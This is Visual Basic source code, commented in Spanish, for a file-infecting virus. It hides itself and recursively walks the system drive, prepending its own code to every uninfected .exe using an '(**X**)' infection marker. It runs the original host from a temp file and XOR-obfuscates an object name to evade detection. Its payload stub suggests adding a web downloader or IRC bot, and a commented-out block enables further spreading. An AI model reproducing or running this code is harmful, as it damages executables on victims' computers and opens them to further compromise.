Private Sub Form_Load()
    App.TaskVisible = False
    If App.PrevInstance = True Then End
    SelfCheck
End Sub
 

 
Function SelfCheck()
    On Error Resume Next
    Dim MyCode As String
 
    'Se abre a si mismo, lee su codigo y lo guarda en "MyCode"
    Open App.path & "\" & App.EXEName & ".exe" For Binary As #1
        MyCode = Input(LOF(1), 1)
    Close #1
 
    'Separa "MyCode" buscando la marca de infección (**X**)
    Buffer = Split(MyCode, "(**X**)")
 
    If UBound(Buffer) = 1 Then
        'Si existe la marca: Llama la funcion "DivideFiles" con el argumento del código del Huésped
        Hostage = Buffer(1)
        DivideFiles Hostage
    Else
        'Si NO existe la marca: Llama la funcion "Subfolders" con el argumento de unidad del Sistema (C:\)
        Subfolders (Environ("SystemDrive") & "\")
        DoEvents
        End
    End If
End Function
 
Function DivideFiles(ByVal Hostage As String)
    Randomize
    On Error Resume Next
    Dim TmpFile As String
 
    'Crea un archivo temporal con el código del Huésped, por ejemplo:
    'C:\DOCUME~1\USER\CONFIG~1\Temp\85061.exe
    TmpFile = Environ("TMP") & "\" & Int((Rnd * 99999) + 1) & ".exe"
 
    Open TmpFile For Binary As #1
        Put #1, , Hostage
    Close #1
 
    DoEvents
    'Ejecuta el archivo temporal (el Huésped) y llama al "PayLoad" del virus
    Shell TmpFile, vbNormalFocus
    Call ExecPayload
End Function
 
Function InfectFile(ByVal Victim As String)
    On Error Resume Next
    Dim VictimCode As String
    Dim NewCode As String
    Dim MyCode As String
 
    'Se abre a si mismo, lee su codigo y lo guarda en "MyCode"
    Open App.path & "\" & App.EXEName & ".exe" For Binary As #1
        MyCode = Input(LOF(1), 1)
    Close #1
 
    'Abre el archivo Huésped, lee su código y lo guarda en "VictimCode"
    Open Victim For Binary As #1
        VictimCode = Input(LOF(1), 1)
    Close #1
 
    'Crea la variable "NewCode" donde se guarda: MyCode + (**X**) + VictimCode
    NewCode = MyCode & "(**X**)" & VictimCode
 
    'Sobrescribe el archivo Huésed con el infectado
    Open Victim For Binary As #1
        Put #1, , NewCode
    Close #1
End Function
 
Function IsInfected(ByVal File As String) As Boolean
    On Error Resume Next
    Dim FileCode As String
 
    'Abre el archivo "File", lee su codigo y lo guarda en "FileCode"
    Open File For Binary As #1
        FileCode = Input(LOF(1), 1)
    Close #1
 
    'Separa "FileCode" buscando la marca de infección (**X**)
    Buffer = Split(FileCode, "(**X**)")
 
    'Devuleve "True" o "False" si ha encontrado la marca (**X**)
    If UBound(Buffer) <> 0 Then
        IsInfected = True
    Else
        IsInfected = False
    End If
End Function
 
Function Subfolders(path)
    On Error Resume Next
    'Se cifra el string que carga el objeto Scripting.FileSystemObject
    Set fso = CreateObject(bullet("Qapkrvkle,DkngQ{qvgoM`hgav"))
    Set Drives = fso.Drives
 
    newpath = path
    Set Fold = fso.GetFolder(newpath)
    Set Files = Fold.Files
 
    For Each File In Files
        ext = fso.GetExtensionName(File.path)
        ext = LCase(ext)
        nam = LCase(File.Name)
        If (ext = "exe") Then
            If IsInfected(File.path) = False Then
                InfectFile (File.path)
                DoEvents
            End If
        End If
    Next
 
    Set File = Fold.Subfolders
    For Each Subfol In File
        Call Subfolders(Subfol.path)
    Next
End Function
 
Function ExecPayload()
    '#######################################################
    '##  Si quieres que los archivos infectados ejecuten  ##
    '##  la función de buscar e infectar nuevos archivos  ##
    '##  elimina los comentario que hay a continuación    ##
    '#######################################################
 
    'Subfolders (Environ("SystemDrive") & "\")
    'DoEvents
 
    MsgBox "Aqui empieza el código del PayLoad, añade las funciones que desees, como por ejemplo un webdownloader o un irc_bot"
    End
End Function
 

Function bullet(FullCode)
    'Funcion que cifra Strings con el operador XOR
 
    For i = 1 To Len(FullCode)
        Current = Mid(FullCode, i, 1)
        Code = Chr(Asc(Current) Xor 2)
        bullet = bullet + Code
    Next
End Function